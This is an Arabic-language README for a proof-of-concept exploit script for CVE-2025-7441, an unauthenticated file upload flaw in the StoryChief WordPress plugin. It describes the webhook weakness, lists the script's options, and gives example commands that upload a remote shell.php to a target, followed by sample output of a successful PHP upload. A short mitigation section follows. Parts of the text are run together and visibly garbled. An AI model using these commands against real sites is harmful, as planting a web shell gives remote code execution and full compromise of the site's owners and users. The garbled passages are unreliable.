
StoryChief <= 1.0.42 - رفع ملف تعسفي بدون مصادقة
/wp-json/storychief/webhookdata.featured_image.data.sizes.full) وتقوم بجلب HTTP GET من جانب الخادم لذلك الرابط دون تحقق كافٍ (لا توجد قائمة نطاقات مسموح بها، فحوصات MIME/محتوى غير كافية، ويتم حفظ الملفات تحت مسارات رفع عامة).wp-content/uploads/YYYY/MM/<filename>). إذا كان الملف المرفوع يمكن تفسيره/تنفيذه من قبل الخادم (على سبيل المثال، ملف PHP والخادم يسمح بتنفيذ PHP هناك)، يؤدي ذلك إلى تنفيذ كود عن بعد (RCE) واختراق كامل للموقع.CVE-2025-7441يقوم هذا السكريبت بأتمتة سير التحقق النموذجي من الثغرة:
data.featured_image.data.sizes.full.meta.mac.<site_url>/wp-json/storychief/webhook.<site_url>/wp-content/uploads///
إذا استجاب الملف بـ HTTP 200، يبلغ السكريبت عن النجاح؛ وإلا يطبع <failed to upload>.
يتضمن السكريبت العلمات التالية: --file-url, --verbose, --use-curl, و --retries.
python3 CVE-2025-7441.py <site_url>
<site_url> — رابط الأساس للموقع المستهدف. مثال: http://127.0.0.1:5000/ أو https://target.example/--file-url — تجاوز رابط الملف البعيد الافتراضي الذي يستخدمه الإثبات. الافتراضي: رابط GitHub خام عينة مضمن في الكود. مثال: --file-url https://127.0.0.1:5000/zip.php--verbose — تمكين المخرجات التفصيلية (يطبع تفاصيل الطلب/الاستجابة وتقدم الفحص).--use-curl — استخدام عملية فرعية curl لتسليم POST (وضع احتياطي). يتطلب تثبيت curl.--retries — عدد محاولات التحقق من مسار الرفع المتوقع للملف. الافتراضي: 1. استخدم مثلاً --retries 5 للاستقصاء عدة مرات.python3 CVE-2025-7441.py http://127.0.0.1:5000/
تحديد رابط ملف بعيد مخصص
python3 CVE-2025-7441.py http://127.0.0.1:5000/ --file-url https://example.com/shell.php
إخراج تفصيلي وفحوصات متعددة
python3 CVE-2025-7441.py http://127.0.0.1:5000/ --file-url https://example.com/shell.php --verbose --retries 5
استخدام curl لتسليم POST
python3 CVE-2025-7441.py http://127.0.0.1:5000 --file-url https://example.com/shell.php --use-curl --verbose
المخرجات:
[*] Target: https://127.0.0.1:5000
[*] file_url: https://127.0.0.1:5000/ZIP.php
[*] retries: 3
[*] use_curl: False
[+] computed hmac : 3f2a9b0e4d6c5a1f0b9d6e3c2a1f4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1
[*] Sending POST via requests...
[*] POST status: 200
[*] Response body (truncated):
{"permalink":"/wp-content/uploads/2025/10/ZIP.php","id":12345}
[*] Checking (1/3): https://127.0.0.1:5000/wp-content/uploads/2025/10/ZIP.php
[+] success! [+]
https://127.0.0.1:5000/wp-content/uploads/2025/10/ZIP.php
التخفيف والمعالجة على المدى القصير:
/wp-json/storychief/webhook عبر WAF أو قواعد الخادم.توجيه للمطورين: